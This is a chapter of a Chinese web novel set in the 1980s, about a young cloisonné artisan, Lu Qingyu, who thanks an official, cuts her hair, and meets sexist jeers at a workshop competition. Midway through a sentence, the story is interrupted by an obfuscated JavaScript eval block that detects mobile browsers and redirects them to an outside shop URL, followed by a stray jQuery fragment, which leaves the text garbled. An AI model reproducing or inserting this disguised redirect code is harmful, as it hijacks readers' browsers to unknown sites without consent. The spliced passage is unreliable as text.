13. 备战前夕
    雪白的墙面,几个书架,一张大书桌,一组小沙发。

    窗外的梧桐树在风中轻轻摇曳,将夏日阳光铺洒在窗台。头顶的吊扇嘎吱嘎吱地转着,带来一点凉意。

    苏远宸就趴在书桌上,摆满了各种纸张书籍和报纸。他咬着笔头,挠着头发,和他俊朗的容颜形成鲜明对比。

    陆青予在门口看了一会儿,然后敲响了门。

    苏远宸头都没抬:“我忙着呢!博物馆那边我就不去了。”

    “咳咳!”陆青予假装咳嗽起来。

    这次苏远宸看到了门口的小姑娘。

    “哟!这不是小陆~~大师傅吗?您可忙完了,有空来视察工作啦?”苏远宸这话酸臭酸臭的。

    陆青予今天心情好,不想和他一般见识。她走进办公室,把书包里的资料还给他。

    “喏!我这是来还资料的。”

    苏远宸看了看她手里的资料,再看看她。好像没瘦,还白了、胖了一点。他站起来,发现小姑娘还长高了。

    顺手接下资料放在桌上,苏远宸好奇地问:“我看你没有憔悴变瘦,怎么还长得更好了呢?做这个景泰蓝是有什么让人健康的秘诀吗?”

    陆青予回想起这二十多天,吃了堂叔家六顿肉,又吃了自家的两顿肉。油水足了,可不应该长胖一点点。

    她含含糊糊地说:“最近堂姐堂兄也在跟我学画和掐丝,他们家送了好些吃食给我们。我就跟着吃了点好的。”

    “看你这小模样,确实应该吃点好的,这个子都长高了。”

    苏远宸凑近比划了一下她的头顶到自己肩膀的位置,遗憾地又补充了一句。“虽然长了点儿,还是矮!”

    “我一个姑娘,还能长成你这样?”陆青予怒了。

    “长我这样也不错啊!你还小,只要每天多睡觉多锻炼,还有机会长高的。”

    苏远宸笑着顺手摸了摸她的头发:“还有就是,别太辛苦了。你自己都忙不过来,就不要帮你堂兄他们了。”

    陆青予躲开了他摸头的大手,觉得有点古怪。他对她是不是太关注、太亲切了呢?

    从地摊上的初识到工坊里帮着说话,帮忙找文化馆给自己撑腰,再到给自己找工坊的材料,甚至给自己家送肉。

    现在又说出这样的话来。

    陆青予不会觉得这人善良好心,反而觉得心酸。他是把自己当作绝世小白菜来可怜了吧!

    她转过头去望着窗外:“我只要想到能够把握住自己的未来,就一点也不辛苦,一点也不害怕。我不是小白菜,不需要你这么同情我、可怜我。”

    苏远宸听到这话愣了一下,笑容有些尴尬:

    “小苏同志,我这是代表文化馆、沈主任,还有我自己给你的善意。你感觉不到吗?就算感觉不到,也不要歪曲我们的本意。”

    陆青予回过头看着他,深深叹息:“不是每个人都能轻松接受别人的善意的。我和你们不一样,我什么都没有,你们给我的好,我还不起。

    所以,你们帮我进工坊,我特别感激。我只能努力复习,争取考上,以后争取多做好作品回馈社会,成为改革的排头兵。

    但我这个人,你还是不要太在意比较好。沈主任和文化馆对我的关心爱护,让我倍感压力,有些,有些害怕。”

    “你……”

    苏远宸有些生气,好心变成了驴肝肺。但他看到女孩一副欲哭无泪的脸庞,又说不出话来。心里憋着一口气,上不去下不来。

    “你走吧!好好参加比赛,胜了的话,最多再麻烦你做一次专访。我不会再打扰你了。”苏远宸坐回了书桌,挥了挥手。

    陆青予见他不愿再说话的样子,也觉得难受。但她真的害怕,具体害怕什么,也许她自己也不知道。

    “谢谢你,小苏同志,谢谢你最近一个月的帮助。这是我家的谢礼,请你笑纳。”

    陆青予拿出包里的烟酒茶,放在他的书桌上,然后转身离去。

    出门的一瞬间,她回头看了他一眼。

    他对着桌上的一盆植物发着呆,眼神已经穿过树叶飞向了远方。

    这是两个世界的人,有着完全不一样的灵魂。他的眼睛里是诗与远方,她的眼睛里全是生存与现实。

    如果不是推动工坊改革,他们不会有任何交集。

    陆青予收回目光,坚定地迈开步子,往门外走去。

    在她穿过文化宫大门,走上大街的时候。梧桐树荫掩映下的窗口站着一个白色的身影,他望着她毫不犹豫地转身离开,心里面有些别扭。

    想了许久,也想不明白,只能告诉自己。帮助群众解决困难,是每一个公仆应该做的事,本来就不应该盼望得到回报。

    他的目光回到桌上,一摞资料整齐地码放并捆在一起,一根蓝色的绳索系在上面。

    解开绳索,资料散落开来。苏远宸随手翻了翻大半个月前的手稿资料,然后放了回去,其实自己并不太需要这些。

    画稿本中掉出了一张图,上面画着一株兰草。

    苏远宸捡起来仔细看了看,画面用的是白描双勾线的技法,晕染着淡淡的墨色。

    七八片细长而舒展的叶子,两三朵小巧而精致的花朵栩栩如生,仿佛能让人闻到馨香。

    整张画上没有题诗,写着“兰香以谢”四个字,落款画着一条鱼,小青鱼?

    看着兰草、兰花和小青鱼,苏远宸心情又愉悦起来。他拿起笔在“兰香以谢”旁边也写了一首诗:

    幽幽兰花吐馨香,萋萋芳草映心房。滴水之情如春日,细雨润物暖心肠。

    提完后,苏远宸摸了摸纸上的小鱼。好一条滑不留手的小青鱼,不想欠下人情债呢!她想得美!

    陆青予不知道苏远宸给自己谢礼上又写了酸诗。她心情烦闷,干脆在大街上闲逛起来。

    80年代也是很时尚的,商店里五颜六色的裙子上面带着荷叶花边。喇叭裤、阔腿裤也是流行的。高跟鞋、平底鞋、露趾凉鞋摆在一起。

    玻璃橱窗里陈列着一条淡蓝色的连衣裙,绣着同色的蝴蝶。她凑近去看了看价格,吐着舌头往后退。

    玻璃里面映照出一个陌生而熟悉的身影。

    作为陆青予的冉青,一直不太喜欢看镜子。这让她总有一种自己不是自己的感觉。

    但现在看陆青予,又觉得熟悉了起来,可能是她长高更健康了的缘故。

    镜子里的自己穿着蓝色的军裤,灰白的宽大衬衫,肩头挂着一条很长的独辫子。

    旁边不远处,理发店门口彩虹条的滚筒转着圈。她走近看了看价格,毫不犹豫地回了家。

    陆青予叫来红红帮忙,自己把长辫子咔嚓一声剪了一大截,再教小姑娘帮着把后面的头发修整齐。

    最后,陆青予用当初大学时代自己给自己理发的经验,对着镜子修出前额的几缕刘海和两边的碎发。

    一个跨越时代也不过时的披肩黑长直就诞生了。

    红红呆呆地看着姐姐,由衷地说道:“姐姐,你这发型真好看,是哪儿学的?给我也剪一个?”

    “没问题!”陆青予拿起剪刀也咔嚓咔嚓给妹妹剪了起来。剪好后,给她梳了两个小辫子配上半披的头发。

    红红看着镜子也说好看极了。两姐妹嘻嘻哈哈地闹在了一起。

    周素莲回到家,就看到两个姑娘披头散发地走来走去,整个人都吓傻了。“你们这是怎么了?好好的辫子,怎么搞成这样了。”

    红红开心地说:“是姐姐给我剪的,我给姐姐剪的。这不挺好看吗?脑袋都变轻了。”

    陆青予顺手拿起皮筋给红红扎了一个双丫,给自己扎了一个马尾,笑着说:

    “我这辫子太长了,天气热脑袋更热,洗起来费水费洗发膏半天不干。以后工作上班不方便,干脆都剪了。”

    “我也是,我给家里节约洗发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727158|144960||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    膏。”红红摸着自己的双丫愉悦地摇着脑袋。

    周素莲无奈,只能摸着陆青予的马尾遗憾地说:“哎,好好的大辫子,养了好多年了。姑娘不嫁人,不应该剪长发的。”

    “哎,妈妈,现在是新时代了。女人可以做好多发型的,除了短的、直的,还可以做卷发,弯弯的可好看了。”陆青予亲昵地拉着周素莲的手。

    “我不去,卷发早就有了,坏女人才烫卷发呢!”周素莲抽出手,进了厨房。

    陆青予追着她继续念:“妈妈,时代不一样了!”

    红红也追着鹦鹉学舌:“妈妈,时代不一样了!”

    周素莲能怎么办呢?只能把女儿们轰出厨房了。

    院子里传来母女三人欢快的笑声。

    陆青予望着天空,蓝天上飞过一群白色的鸽子。还有三天,比赛就要开始了。

    8月30日,陆青予一大早就起来了。她不是怕迟到而早起,是她头天根本睡不着。

    老爷子终于在比赛前一天赶了回来,看了看她的作品,给她竖了个大拇指。陆青予心中底气更足了。

    全家集体出动送陆青予到了天和珐琅工坊。这里的一个车间被打造成了比赛现场。

    画桌、操作桌、锅炉,各种工具一应俱全。

    报名的人还真不少,排着长队进车间,看起来起码二三十个人。

    赖鑫叫了一个工友正在挨个检查包。除了吃的喝的、文具白纸,其他一律不准带进去,包括各种纹样图纸、笔记本、参考书、铜丝铜盘。

    很多人的脸色瞬间就铁青了,不情不愿地交出各种图纸和做好的铜丝。

    陆青予轻哼一声,带着背包排到了队伍末尾。

    她这一排队进去,立刻引起了一阵小小的骚动。

    男人们窃窃私语:“这不是个女的吗?她也来参加比赛?”

    “就是,女人不去准备嫁妆嫁人,还真准备来找工作吗?”

    “怕不是来找工作,是来找男人吧!”

    “嘿嘿嘿嘿嘿……”

    “嚯嚯嚯、呵呵呵……”

    陆青予都听到了,她知道,将来她还会遇到很多这样的偏见,很多的闲言碎语。

    虽然周素莲再三打招呼,要她低调稳重,可她一点儿都不准备忍着。

    只听见她用音量不大,却又都能听清的声音说:

    “女的怎么了?宋庆龄是女的,林徽因是女的,居里夫人也是女的。说得不好听一点,你妈也是女的。”

    “……”男人们没想到公共场合,女人的胆子居然这么大。

    “你们要感谢女人,没有她们哪有你们!”陆青予勾着唇角轻笑。

    赖鑫走过来说:“你们在喧哗什么?马上就要比赛了,一点规矩都不懂。”

    “老总,我们没喧哗,是这个姑娘出言不逊。”一个小眼睛男人恶人先告状。

    赖鑫早就看到陆青予了,也听到了他们的议论声,但他有心为难陆青予,于是他明着偏心说:

    “天和工坊是集体单位,工友们团结协作才能完成任务。凡是不利于团结的人,我们是不欢迎的。”

    陆青予才不会上他的当,她一脸天真娇俏地夹着声音说:

    “赖叔叔,您说得真好!我们就是要团结一心才能建设现代化中国。

    刚才这位大哥张开嘴巴就污蔑女性,不团结女性同胞。我正在帮您教育他,怎么能不团结女性呢?是个人就是女人生的啊!除非他,不,是,人!”

    这是拐着弯骂人呢!

    赖鑫的脸被气得一阵青一阵白,正要骂脏话。

    “哈哈哈哈!说得好!建设四个现代化的路上,人人都要参与,男女都要出力才行!”

    沈主任人未到,声先到。身边跟着好几个人,老老少少的,还有熟悉的苏远宸同志。

    陆青予一缩脖子,躲进了队伍里。大佬们来了,自己不用强出头了。